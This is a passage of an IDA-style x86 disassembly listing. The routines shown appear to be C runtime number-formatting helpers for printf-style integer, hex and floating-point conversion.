loc_40B056: ; CODE XREF: sub_40AF70+C9j
push edi
lea eax, [ebp+var_C]
push eax
mov eax, [ebx+14h]
mov edx, [ebp+var_10]
add eax, edx
push eax
call sub_4076F0
add esp, 0Ch
add [ebx+14h], edi
cmp word ptr [esi], 0
jz short loc_40B085
add esi, 2
sub [ebp+var_4], edi
loc_40B07B: ; CODE XREF: sub_40AF70+8Dj
cmp [ebp+var_4], 0
jg loc_40AFFF
loc_40B085: ; CODE XREF: sub_40AF70+BAj
; sub_40AF70+BFj ...
mov eax, [ebp+var_10]
push eax
push ebx
call sub_40A430
add esp, 8
mov dword ptr [ebx+34h], 0
mov dword ptr [ebx+14h], 0
lea eax, [ebp+var_60]
cmp eax, [ebp+var_10]
jz short loc_40B0B2
mov eax, [ebp+var_10]
push eax
call sub_4071B0
pop ecx
loc_40B0B2: ; CODE XREF: sub_40AF70+136j
mov eax, [ebp+var_20]
loc_40B0B5: ; CODE XREF: sub_40AF70+78j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40AF70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B0C0 proc near ; CODE XREF: sub_409CF0+256p
; sub_409CF0+3CAp ...
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
cmp [ebp+arg_4], 58h
jnz short loc_40B0D8
mov [ebp+var_34], offset a0123456789abcd ; "0123456789ABCDEF"
jmp short loc_40B0DF
; ---------------------------------------------------------------------------
loc_40B0D8: ; CODE XREF: sub_40B0C0+Dj
mov [ebp+var_34], offset a0123456789ab_0 ; "0123456789abcdef"
loc_40B0DF: ; CODE XREF: sub_40B0C0+16j
mov eax, [ebp+var_34]
mov [ebp+var_24], eax
cmp [ebp+arg_4], 6Fh
jnz short loc_40B0F4
mov [ebp+var_38], 8
jmp short loc_40B10F
; ---------------------------------------------------------------------------
loc_40B0F4: ; CODE XREF: sub_40B0C0+29j
mov al, [ebp+arg_4]
cmp al, 78h
jz short loc_40B108
cmp al, 58h
jz short loc_40B108
mov [ebp+var_38], 0Ah
jmp short loc_40B10F
; ---------------------------------------------------------------------------
loc_40B108: ; CODE XREF: sub_40B0C0+39j
; sub_40B0C0+3Dj
mov [ebp+var_38], 10h
loc_40B10F: ; CODE XREF: sub_40B0C0+32j
; sub_40B0C0+46j
mov eax, [ebp+var_38]
mov [ebp+var_8], eax
mov [ebp+var_4], 18h
mov eax, [ebp+arg_0]
mov edx, [eax+4]
mov eax, [eax]
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
mov al, [ebp+arg_4]
cmp al, 64h
jz short loc_40B135
cmp al, 69h
jnz short loc_40B15A
loc_40B135: ; CODE XREF: sub_40B0C0+6Fj
mov eax, [ebp+arg_0]
mov edx, [eax+4]
mov eax, [eax]
test edx, edx
jg short loc_40B15A
jl short loc_40B147
test eax, eax
jnb short loc_40B15A
loc_40B147: ; CODE XREF: sub_40B0C0+81j
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
neg eax
adc edx, 0
neg edx
mov [ebp+var_30], eax
mov [ebp+var_2C], edx
loc_40B15A: ; CODE XREF: sub_40B0C0+73j
; sub_40B0C0+7Fj ...
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
test edx, edx
jnz short loc_40B171
test eax, eax
jnz short loc_40B171
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jz short loc_40B1A1
loc_40B171: ; CODE XREF: sub_40B0C0+A2j
; sub_40B0C0+A6j
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_3C], eax
mov [ebp+var_4], eax
mov ecx, [ebp+var_30]
mov ebx, [ebp+var_2C]
mov edx, [ebp+var_8]
mov esi, edx
mov edi, esi
sar edi, 1Fh
push ebx
push ecx
push edi
push esi
call sub_40C1F0
mov edx, [ebp+var_24]
mov al, [edx+eax]
mov edx, [ebp+var_3C]
mov [ebp+edx+var_20], al
loc_40B1A1: ; CODE XREF: sub_40B0C0+AFj
mov eax, [ebp+var_30]
mov edx, [ebp+var_2C]
mov ecx, [ebp+var_8]
mov ebx, ecx
sar ebx, 1Fh
push edx
push eax
push ebx
push ecx
call sub_40AF00
mov ecx, [ebp+arg_0]
mov [ecx], eax
mov [ecx+4], edx
jmp short loc_40B232
; ---------------------------------------------------------------------------
loc_40B1C2: ; CODE XREF: sub_40B0C0+188j
mov eax, [ebp+arg_0]
mov edx, [eax+4]
mov eax, [eax]
mov ecx, [ebp+var_8]
mov ebx, ecx
sar ebx, 1Fh
push edx
push eax
push ebx
push ecx
call sub_40C270
mov [ebp+var_48], eax
mov [ebp+var_44], edx
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4C], eax
mov [ebp+var_4], eax
mov edx, [ebp+var_8]
mov ecx, edx
mov ebx, ecx
sar ebx, 1Fh
mov esi, [ebp+var_48]
mov edi, [ebp+var_44]
push ebx
push ecx
push edi
push esi
call sub_40C320
neg eax
adc edx, 0
neg edx
mov ecx, [ebp+arg_0]
mov ebx, [ecx+4]
mov ecx, [ecx]
add eax, ecx
adc edx, ebx
mov edx, [ebp+var_24]
mov al, [edx+eax]
mov edx, [ebp+var_4C]
mov [ebp+edx+var_20], al
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_48]
mov ebx, [ebp+var_44]
mov [eax], ecx
mov [eax+4], ebx
loc_40B232: ; CODE XREF: sub_40B0C0+100j
mov eax, [ebp+arg_0]
mov edx, [eax+4]
mov eax, [eax]
test edx, edx
jl short loc_40B24E
jg short loc_40B244
test eax, eax
jbe short loc_40B24E
loc_40B244: ; CODE XREF: sub_40B0C0+17Ej
cmp [ebp+var_4], 0
jg loc_40B1C2
loc_40B24E: ; CODE XREF: sub_40B0C0+17Cj
; sub_40B0C0+182j
cmp [ebp+var_8], 8
jnz short loc_40B27A
mov eax, [ebp+arg_0]
test word ptr [eax+38h], 8
jz short loc_40B27A
mov eax, [ebp+var_4]
cmp eax, 18h
jnb short loc_40B27A
cmp [ebp+eax+var_20], 30h
jz short loc_40B27A
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
mov [ebp+eax+var_20], 30h
loc_40B27A: ; CODE XREF: sub_40B0C0+192j
; sub_40B0C0+19Dj ...
mov edx, [ebp+arg_0]
mov eax, 18h
mov ecx, [ebp+var_4]
sub eax, ecx
mov [edx+1Ch], eax
mov eax, [ebp+arg_0]
mov edx, [eax+1Ch]
push edx
mov edx, [ebp+var_4]
lea edx, [ebp+edx+var_20]
push edx
mov eax, [eax+10h]
push eax
call sub_4076F0
add esp, 0Ch
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
cmp [eax+1Ch], edx
jge short loc_40B2C6
mov eax, [ebp+arg_0]
mov edx, [eax+2Ch]
sub edx, [eax+1Ch]
mov [eax+18h], edx
mov eax, [ebp+arg_0]
and word ptr [eax+38h], 0FFEFh
jmp short loc_40B2F7
; ---------------------------------------------------------------------------
loc_40B2C6: ; CODE XREF: sub_40B0C0+1EEj
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jge short loc_40B2F7
movzx edx, word ptr [eax+38h]
and edx, 14h
cmp edx, 10h
jnz short loc_40B2F7
mov edx, [eax+34h]
sub edx, [eax+14h]
sub edx, [eax+18h]
sub edx, [eax+1Ch]
mov [ebp+var_4], edx
test edx, edx
jle short loc_40B2F7
mov edx, [ebp+arg_0]
mov eax, [ebp+var_4]
mov [edx+18h], eax
loc_40B2F7: ; CODE XREF: sub_40B0C0+204j
; sub_40B0C0+20Dj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40B0C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40B300 proc near ; CODE XREF: sub_409CF0+40Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_40C360
pop ecx
movsx eax, ax
retn
sub_40B300 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B310 proc near ; CODE XREF: sub_409CF0+48Cp
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = qword ptr -58h
var_50 = qword ptr -50h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_3E = byte ptr -3Eh
var_3D = byte ptr -3Dh
var_16 = word ptr -16h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = qword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 64h
lea eax, [ebp+var_3E]
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
fld qword ptr [eax]
fstp [ebp+var_10]
mov al, [ebp+arg_4]
cmp al, 61h
jz short loc_40B32F
cmp al, 41h
jnz short loc_40B331
loc_40B32F: ; CODE XREF: sub_40B310+19j
jmp short loc_40B364
; ---------------------------------------------------------------------------
loc_40B331: ; CODE XREF: sub_40B310+1Dj
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jge short loc_40B346
mov edx, [ebp+arg_0]
mov dword ptr [edx+2Ch], 6
jmp short loc_40B364
; ---------------------------------------------------------------------------
loc_40B346: ; CODE XREF: sub_40B310+28j
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jnz short loc_40B364
mov al, [ebp+arg_4]
cmp al, 67h
jz short loc_40B35A
cmp al, 47h
jnz short loc_40B364
loc_40B35A: ; CODE XREF: sub_40B310+44j
mov edx, [ebp+arg_0]
mov dword ptr [edx+2Ch], 1
loc_40B364: ; CODE XREF: sub_40B310:loc_40B32Fj
; sub_40B310+34j ...
mov eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_14]
push eax
call sub_40C3D0
add esp, 8
mov [ebp+var_16], ax
cmp ax, 2
jnz short loc_40B3C9
mov edx, [ebp+arg_0]
mov dword ptr [edx+1Ch], 3
mov eax, 3
push eax
mov al, [ebp+arg_4]
cmp al, 61h
jz short loc_40B3A1
cmp al, 65h
jz short loc_40B3A1
cmp al, 66h
jz short loc_40B3A1
cmp al, 67h
jnz short loc_40B3AA
loc_40B3A1: ; CODE XREF: sub_40B310+83j
; sub_40B310+87j ...
mov [ebp+var_44], offset word_410122
jmp short loc_40B3B1
; ---------------------------------------------------------------------------
loc_40B3AA: ; CODE XREF: sub_40B310+8Fj
mov [ebp+var_44], offset word_41011E
loc_40B3B1: ; CODE XREF: sub_40B310+98j
mov eax, [ebp+var_44]
push eax
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
push eax
call sub_4076F0
add esp, 0Ch
jmp loc_40B964
; ---------------------------------------------------------------------------
loc_40B3C9: ; CODE XREF: sub_40B310+6Cj
cmp [ebp+var_16], 0
jle short loc_40B41B
mov edx, [ebp+arg_0]
mov dword ptr [edx+1Ch], 3
mov eax, 3
push eax
mov al, [ebp+arg_4]
cmp al, 61h
jz short loc_40B3F3
cmp al, 65h
jz short loc_40B3F3
cmp al, 66h
jz short loc_40B3F3
cmp al, 67h
jnz short loc_40B3FC
loc_40B3F3: ; CODE XREF: sub_40B310+D5j
; sub_40B310+D9j ...
mov [ebp+var_44], offset word_41011A
jmp short loc_40B403
; ---------------------------------------------------------------------------
loc_40B3FC: ; CODE XREF: sub_40B310+E1j
mov [ebp+var_44], offset off_410116
loc_40B403: ; CODE XREF: sub_40B310+EAj
mov eax, [ebp+var_44]
push eax
mov eax, [ebp+arg_0]
mov eax, [eax+10h]
push eax
call sub_4076F0
add esp, 0Ch
jmp loc_40B964
; ---------------------------------------------------------------------------
loc_40B41B: ; CODE XREF: sub_40B310+BEj
mov al, [ebp+arg_4]
cmp al, 61h
jz short loc_40B426
cmp al, 41h
jnz short loc_40B45E
loc_40B426: ; CODE XREF: sub_40B310+110j
mov eax, [ebp+arg_0]
mov edx, [eax+10h]
add eax, 10h
lea ecx, [edx+1]
mov [eax], ecx
mov byte ptr [edx], 30h
mov eax, [ebp+arg_0]
mov edx, [eax+10h]
add eax, 10h
lea ecx, [edx+1]
mov [eax], ecx
xor eax, eax
cmp [ebp+arg_4], 61h
setnz al
dec eax
and eax, 20h
add eax, 58h
mov [edx], al
mov eax, [ebp+arg_0]
add dword ptr [eax+14h], 2
loc_40B45E: ; CODE XREF: sub_40B310+114j
cmp [ebp+var_16], 0
jnz short loc_40B476
mov [ebp+var_12], 0
mov [ebp+var_14], 0
jmp loc_40B945
; ---------------------------------------------------------------------------
loc_40B476: ; CODE XREF: sub_40B310+153j
mov al, [ebp+arg_4]
cmp al, 61h
jz short loc_40B485
cmp al, 41h
jnz loc_40B68B
loc_40B485: ; CODE XREF: sub_40B310+16Bj
cmp [ebp+arg_4], 61h
jnz short loc_40B494
mov dword ptr [ebp+var_50+4], offset a0123456789ab_1 ; "0123456789abcdef"
jmp short loc_40B49B
; ---------------------------------------------------------------------------
loc_40B494: ; CODE XREF: sub_40B310+179j
mov dword ptr [ebp+var_50+4], offset a0123456789ab_2 ; "0123456789ABCDEF"
loc_40B49B: ; CODE XREF: sub_40B310+182j
mov eax, dword ptr [ebp+var_50+4]
mov [ebp+var_48], eax
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jge short loc_40B4B3
mov dword ptr [ebp+var_50], 21h
jmp short loc_40B4BD
; ---------------------------------------------------------------------------
loc_40B4B3: ; CODE XREF: sub_40B310+198j
mov eax, [ebp+arg_0]
mov eax, [eax+2Ch]
inc eax
mov dword ptr [ebp+var_50], eax
loc_40B4BD: ; CODE XREF: sub_40B310+1A1j
mov eax, dword ptr [ebp+var_50]
mov [ebp+var_12], ax
movsx eax, [ebp+var_12]
inc eax
mov [ebp+var_44], eax
fld dbl_4100EC
fcomp [ebp+var_10]
fnstsw ax
sahf
jbe short loc_40B4E6
mov eax, [ebp+arg_0]
fld qword ptr [eax]
fchs
fstp [ebp+var_58]
jmp short loc_40B4EE
; ---------------------------------------------------------------------------
loc_40B4E6: ; CODE XREF: sub_40B310+1C8j
mov eax, [ebp+arg_0]
fld qword ptr [eax]
fstp [ebp+var_58]
loc_40B4EE: ; CODE XREF: sub_40B310+1D4j
fld [ebp+var_58]
fstp [ebp+var_10]
sub [ebp+var_14], 4
mov eax, [ebp+var_4]
lea edx, [eax+1]
mov [ebp+var_4], edx
mov byte ptr [eax], 0
jmp loc_40B591
; ---------------------------------------------------------------------------
loc_40B50A: ; CODE XREF: sub_40B310+293j
push 1Ch
lea eax, [ebp+var_10]
push eax
call sub_40C3F0
add esp, 8
fld [ebp+var_10]
call sub_40C410
mov [ebp+var_5C], eax
mov eax, [ebp+var_44]
sub eax, 7
mov [ebp+var_44], eax
test eax, eax
jle short loc_40B53B
fld [ebp+var_10]
fild [ebp+var_5C]
fsubp st(1), st
fstp [ebp+var_10]
loc_40B53B: ; CODE XREF: sub_40B310+21Ej
mov eax, [ebp+var_4]
add eax, 7
mov [ebp+var_4], eax
mov [ebp+var_60], 7
jmp short loc_40B560
; ---------------------------------------------------------------------------
loc_40B54D: ; CODE XREF: sub_40B310+25Fj
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
mov edx, [ebp+var_5C]
and edx, 0Fh
mov [eax], dl
sar [ebp+var_5C], 4
loc_40B560: ; CODE XREF: sub_40B310+23Bj
cmp [ebp+var_5C], 0
jle short loc_40B571
mov eax, [ebp+var_60]
dec eax
mov [ebp+var_60], eax
test eax, eax
jge short loc_40B54D
loc_40B571: ; CODE XREF: sub_40B310+254j
jmp short loc_40B57D
; ---------------------------------------------------------------------------
loc_40B573: ; CODE XREF: sub_40B310+276j
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
mov byte ptr [eax], 0
loc_40B57D: ; CODE XREF: sub_40B310:loc_40B571j
mov eax, [ebp+var_60]
dec eax
mov [ebp+var_60], eax
test eax, eax
jge short loc_40B573
mov eax, [ebp+var_4]
add eax, 7
mov [ebp+var_4], eax
loc_40B591: ; CODE XREF: sub_40B310+1F5j
cmp [ebp+var_44], 0
jle short loc_40B5A9
fld [ebp+var_10]
fcomp dbl_4100EC
fnstsw ax
sahf
ja loc_40B50A
loc_40B5A9: ; CODE XREF: sub_40B310+285j
mov eax, [ebp+var_4]
lea edx, [ebp+var_3D]
sub eax, edx
mov [ebp+var_44], eax
lea eax, [ebp+var_3D]
mov [ebp+var_4], eax
movsx eax, [ebp+var_12]
cmp [ebp+var_44], eax
jge short loc_40B5CA
mov eax, [ebp+var_44]
mov [ebp+var_12], ax
loc_40B5CA: ; CODE XREF: sub_40B310+2B1j
cmp [ebp+var_12], 0
jl loc_40B66E
mov ax, [ebp+var_12]
movsx edx, ax
cmp edx, [ebp+var_44]
jge short loc_40B5F6
movsx eax, ax
mov edx, [ebp+var_4]
cmp byte ptr [edx+eax], 8
jb short loc_40B5F6
mov [ebp+var_64], 0Fh
jmp short loc_40B5FD
; ---------------------------------------------------------------------------
loc_40B5F6: ; CODE XREF: sub_40B310+2CFj
; sub_40B310+2DBj
mov [ebp+var_64], 0
loc_40B5FD: ; CODE XREF: sub_40B310+2E4j
mov eax, [ebp+var_64]
mov byte ptr [ebp+var_60+3], al
movsx eax, [ebp+var_12]
mov [ebp+var_5C], eax
jmp short loc_40B611
; ---------------------------------------------------------------------------
loc_40B60C: ; CODE XREF: sub_40B310+311j
sub [ebp+var_12], 1
loc_40B611: ; CODE XREF: sub_40B310+2FAj
mov eax, [ebp+var_5C]
dec eax
mov [ebp+var_5C], eax
mov edx, [ebp+var_4]
mov cl, byte ptr [ebp+var_60+3]
cmp [edx+eax], cl
jz short loc_40B60C
cmp byte ptr [ebp+var_60+3], 0Fh
jnz short loc_40B634
mov eax, [ebp+var_5C]
mov edx, [ebp+var_4]
add eax, edx
add byte ptr [eax], 1
loc_40B634: ; CODE XREF: sub_40B310+317j
cmp [ebp+var_5C], 0
jge short loc_40B647
dec [ebp+var_4]
add [ebp+var_12], 1
add [ebp+var_14], 4
loc_40B647: ; CODE XREF: sub_40B310+328j
movsx eax, [ebp+var_12]
mov [ebp+var_5C], eax
jmp short loc_40B663
; ---------------------------------------------------------------------------
loc_40B650: ; CODE XREF: sub_40B310+35Cj
mov eax, [ebp+var_5C]
mov edx, [ebp+var_4]
add eax, edx
movzx edx, byte ptr [eax]
mov ecx, [ebp+var_48]
mov dl, [ecx+edx]
mov [eax], dl
loc_40B663: ; CODE XREF: sub_40B310+33Ej
mov eax, [ebp+var_5C]
dec eax
mov [ebp+var_5C], eax
test eax, eax
jge short loc_40B650
loc_40B66E: ; CODE XREF: sub_40B310+2BFj
mov eax, [ebp+arg_0]
cmp dword ptr [eax+2Ch], 0
jge loc_40B945
mov edx, [ebp+arg_0]
movsx eax, [ebp+var_12]
dec eax
mov [edx+2Ch], eax
jmp loc_40B945
; ---------------------------------------------------------------------------
loc_40B68B: ; CODE XREF: sub_40B310+16Fj
fld dbl_4100EC
fcomp [ebp+var_10]
fnstsw ax
sahf
jbe short loc_40B6A1
fld [ebp+var_10]
fchs
fstp [ebp+var_10]
loc_40B6A1: ; CODE XREF: sub_40B310+387j
movsx eax, [ebp+var_14]
imul eax, 7597h
push eax
mov edx, 14F8B589h
imul edx
pop eax
shr eax, 1Fh
sar edx, 0Dh
add eax, edx
sub eax, 4
mov [ebp+var_14], ax
test ax, ax
jge short loc_40B70C
mov eax, 3
movsx edx, [ebp+var_14]
sub eax, edx
and eax, 0FFFFFFFCh
mov [ebp+var_44], eax
neg eax
mov [ebp+var_14], ax
mov [ebp+var_48], 0
jmp short loc_40B704
; ---------------------------------------------------------------------------
loc_40B6E8: ; CODE XREF: sub_40B310+3F8j
test byte ptr [ebp+var_44], 1
jz short loc_40B6FE
fld [ebp+var_10]
mov eax, [ebp+var_48]
fmul dbl_410094[eax*8]
fstp [ebp+var_10]
loc_40B6FE: ; CODE XREF: sub_40B310+3DCj
sar [ebp+var_44], 1
inc [ebp+var_48]
loc_40B704: ; CODE XREF: sub_40B310+3D6j
cmp [ebp+var_44], 0
jg short loc_40B6E8
jmp short loc_40B75C
; ---------------------------------------------------------------------------
loc_40B70C: ; CODE XREF: sub_40B310+3B6j
cmp [ebp+var_14], 0
jle short loc_40B75C
fld dbl_4100E4
fstp [ebp+var_50]
and [ebp+var_14], 0FFFCh
movsx eax, [ebp+var_14]
mov [ebp+var_44], eax
mov [ebp+var_48], 0
jmp short loc_40B74D
; ---------------------------------------------------------------------------
loc_40B731: ; CODE XREF: sub_40B310+441j
test byte ptr [ebp+var_44], 1
jz short loc_40B747
fld [ebp+var_50]
mov eax, [ebp+var_48]
fmul dbl_410094[eax*8]
fstp [ebp+var_50]
loc_40B747: ; CODE XREF: sub_40B310+425j
sar [ebp+var_44], 1
inc [ebp+var_48]
loc_40B74D: ; CODE XREF: sub_40B310+41Fj
cmp [ebp+var_44], 0
jg short loc_40B731
fld [ebp+var_10]
fdiv [ebp+var_50]
fstp [ebp+var_10]
loc_40B75C: ; CODE XREF: sub_40B310+3FAj
; sub_40B310+401j
mov al, [ebp+arg_4]
cmp al, 66h
jz short loc_40B767
cmp al, 46h
jnz short loc_40B773
loc_40B767: ; CODE XREF: sub_40B310+451j
movsx eax, [ebp+var_14]
add eax, 0Ah
mov [ebp+var_48], eax
jmp short loc_40B77A
; ---------------------------------------------------------------------------
loc_40B773: ; CODE XREF: sub_40B310+455j
mov [ebp+var_48], 6
loc_40B77A: ; CODE XREF: sub_40B310+461j
mov eax, [ebp+var_48]
mov edx, [ebp+arg_0]
mov edx, [edx+2Ch]
add eax, edx
mov [ebp+var_44], eax
cmp eax, 13h
jle short loc_40B794
mov [ebp+var_44], 13h
loc_40B794: ; CODE XREF: sub_40B310+47Bj
mov eax, [ebp+var_4]
lea edx, [eax+1]
mov [ebp+var_4], edx
mov byte ptr [eax], 30h
jmp loc_40B83A
; ---------------------------------------------------------------------------
loc_40B7A5: ; CODE XREF: sub_40B310+53Cj
fld [ebp+var_10]
call sub_40C410
mov dword ptr [ebp+var_50+4], eax
mov eax, [ebp+var_44]
sub eax, 8
mov [ebp+var_44], eax
test eax, eax
jle short loc_40B7CE
fld [ebp+var_10]
fild dword ptr [ebp+var_50+4]
fsubp st(1), st
fmul dbl_4100DC
fstp [ebp+var_10]
loc_40B7CE: ; CODE XREF: sub_40B310+4ABj
mov eax, [ebp+var_4]
add eax, 8
mov [ebp+var_4], eax
mov dword ptr [ebp+var_50], 8
jmp short loc_40B809
; ---------------------------------------------------------------------------
loc_40B7E0: ; CODE XREF: sub_40B310+508j
push 0Ah
mov eax, dword ptr [ebp+var_50+4]
push eax
call sub_40C440
add esp, 8
mov dword ptr [ebp+var_58], eax
mov dword ptr [ebp+var_58+4], edx
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
mov edx, dword ptr [ebp+var_58+4]
add edx, 30h
mov [eax], dl
mov eax, dword ptr [ebp+var_58]
mov dword ptr [ebp+var_50+4], eax
loc_40B809: ; CODE XREF: sub_40B310+4CEj
cmp dword ptr [ebp+var_50+4], 0
jle short loc_40B81A
mov eax, dword ptr [ebp+var_50]
dec eax
mov dword ptr [ebp+var_50], eax
test eax, eax
jge short loc_40B7E0
loc_40B81A: ; CODE XREF: sub_40B310+4FDj
jmp short loc_40B826
; ---------------------------------------------------------------------------
loc_40B81C: ; CODE XREF: sub_40B310+51Fj
mov eax, [ebp+var_4]
dec eax
mov [ebp+var_4], eax
mov byte ptr [eax], 30h
loc_40B826: ; CODE XREF: sub_40B310:loc_40B81Aj
mov eax, dword ptr [ebp+var_50]
dec eax
mov dword ptr [ebp+var_50], eax
test eax, eax
jge short loc_40B81C
mov eax, [ebp+var_4]
add eax, 8
mov [ebp+var_4], eax
loc_40B83A: ; CODE XREF: sub_40B310+490j
cmp [ebp+var_44], 0
jle short loc_40B852
fld dbl_4100EC
fcomp [ebp+var_10]
fnstsw ax
sahf
jb loc_40B7A5
loc_40B852: ; CODE XREF: sub_40B310+52Ej
mov eax, [ebp+var_4]
lea edx, [ebp+var_3D]
sub eax, edx
mov [ebp+var_44], eax
lea eax, [ebp+var_3D]
mov [ebp+var_4], eax
add [ebp+var_14], 7
jmp short loc_40B875
; ---------------------------------------------------------------------------
loc_40B86A: ; CODE XREF: sub_40B310+56Bj
dec [ebp+var_44]
sub [ebp+var_14], 1
inc [ebp+var_4]
loc_40B875: ; CODE XREF: sub_40B310+558j
mov eax, [ebp+var_4]
cmp byte ptr [eax], 30h
jz short loc_40B86A
mov al, [ebp+arg_4]
cmp al, 66h
jz short loc_40B888
cmp al, 46h
jnz short loc_40B892
loc_40B888: ; CODE XREF: sub_40B310+572j
movsx eax, [ebp+var_14]
inc eax
mov dword ptr [ebp+var_50+4], eax
jmp short loc_40B8AD
; ---------------------------------------------------------------------------
loc_40B892: ; CODE XREF: sub_40B310+576j
mov al, [ebp+arg_4]
cmp al, 65h
jz short loc_40B89D
cmp al, 45h
jnz short loc_40B8A6
loc_40B89D: ; CODE XREF: sub_40B310+587j
mov dword ptr [ebp+var_50+4], 1
jmp short loc_40B8AD
; ---------------------------------------------------------------------------
loc_40B8A6: ; CODE XREF: sub_40B310+58Bj
mov dword ptr [ebp+var_50+4], 0
loc_40B8AD: ; CODE XREF: sub_40B310+580j
; sub_40B310+594j
mov eax, dword ptr [ebp+var_50+4]
mov edx, [ebp+arg_0]
mov edx, [edx+2Ch]
add eax, edx
mov [ebp+var_12], ax
movsx eax, [ebp+var_12]
cmp [ebp+var_44], eax
jge short loc_40B8CC
mov eax, [ebp+var_44]
mov [ebp+var_12], ax
loc_40B8CC: ; CODE XREF: sub_40B310+5B3j
cmp [ebp+var_12], 0
jl short loc_40B945
mov ax, [ebp+var_12]
movsx edx, ax
cmp edx, [ebp+var_44]
jge short loc_40B8F4
movsx eax, ax
mov edx, [ebp+var_4]
cmp byte ptr [edx+eax], 35h
jb short loc_40B8F4
mov dword ptr [ebp+var_58], 39h
jmp short loc_40B8FB
; ---------------------------------------------------------------------------
loc_40B8F4: ; CODE XREF: sub_40B310+5CDj
; sub_40B310+5D9j
mov dword ptr [ebp+var_58], 30h
loc_40B8FB: ; CODE XREF: sub_40B310+5E2j
mov eax, dword ptr [ebp+var_58]
mov byte ptr [ebp+var_50+3], al
movsx eax, [ebp+var_12]
mov dword ptr [ebp+var_58+4], eax
jmp short loc_40B90F
; ---------------------------------------------------------------------------
loc_40B90A: ; CODE XREF: sub_40B310+60Fj
sub [ebp+var_12], 1
loc_40B90F: ; CODE XREF: sub_40B310+5F8j
mov eax, dword ptr [ebp+var_58+4]
dec eax
mov dword ptr [ebp+var_58+4], eax
mov edx, [ebp+var_4]
mov cl, byte ptr [ebp+var_50+3]
cmp [edx+eax], cl
jz short loc_40B90A
cmp byte ptr [ebp+var_50+3], 39h
jnz short loc_40B932
mov eax, dword ptr [ebp+var_58+4]
mov edx, [ebp+var_4]
add eax, edx
add byte ptr [eax], 1
loc_40B932: ; CODE XREF: sub_40B310+615j
cmp dword ptr [ebp+var_58+4], 0
jge short loc_40B945
dec [ebp+var_4]
add [ebp+var_12], 1
add [ebp+var_14], 1
loc_40B945: ; CODE XREF: sub_40B310+161j
; sub_40B310+365j ...
movsx eax, [ebp+var_14]
push eax
movsx eax, [ebp+var_12]
push eax
mov eax, [ebp+var_4]
push eax
movzx eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_40C470
add esp, 14h
loc_40B964: ; CODE XREF: sub_40B310+B4j
; sub_40B310+106j
mov esp, ebp
pop ebp
retn
sub_40B310 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B970 proc near ; CODE XREF: sub_40A6A0+5Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
lea ebx, [ebp+arg_8]
lea eax, [ebx+4]
mov ebx, eax
mov esi, [eax-4]
push esi
push 40h
mov eax, [ebp+arg_4]
push eax
mov eax, [ebp+arg_0]
push eax
call sub_40B9A0
add esp, 10h
pop esi
pop ebx
pop ebp
retn
sub_40B970 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B9A0 proc near ; CODE XREF: sub_40B970+1Bp
var_3C = dword ptr -3Ch
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
sub esp, 3Ch
push ebx
push esi
push edi
mov ebx, [ebp+arg_4]
mov [ebp+var_10], 0Ch
mov [ebp+var_C], 0
test ebx, 80h
jz short loc_40B9CF
mov [ebp+var_8], 0
mov [ebp+var_1], 10h
jmp short loc_40B9DA
; ---------------------------------------------------------------------------
loc_40B9CF: ; CODE XREF: sub_40B9A0+20j
mov [ebp+var_8], 1
mov [ebp+var_1], 0
loc_40B9DA: ; CODE XREF: sub_40B9A0+2Dj
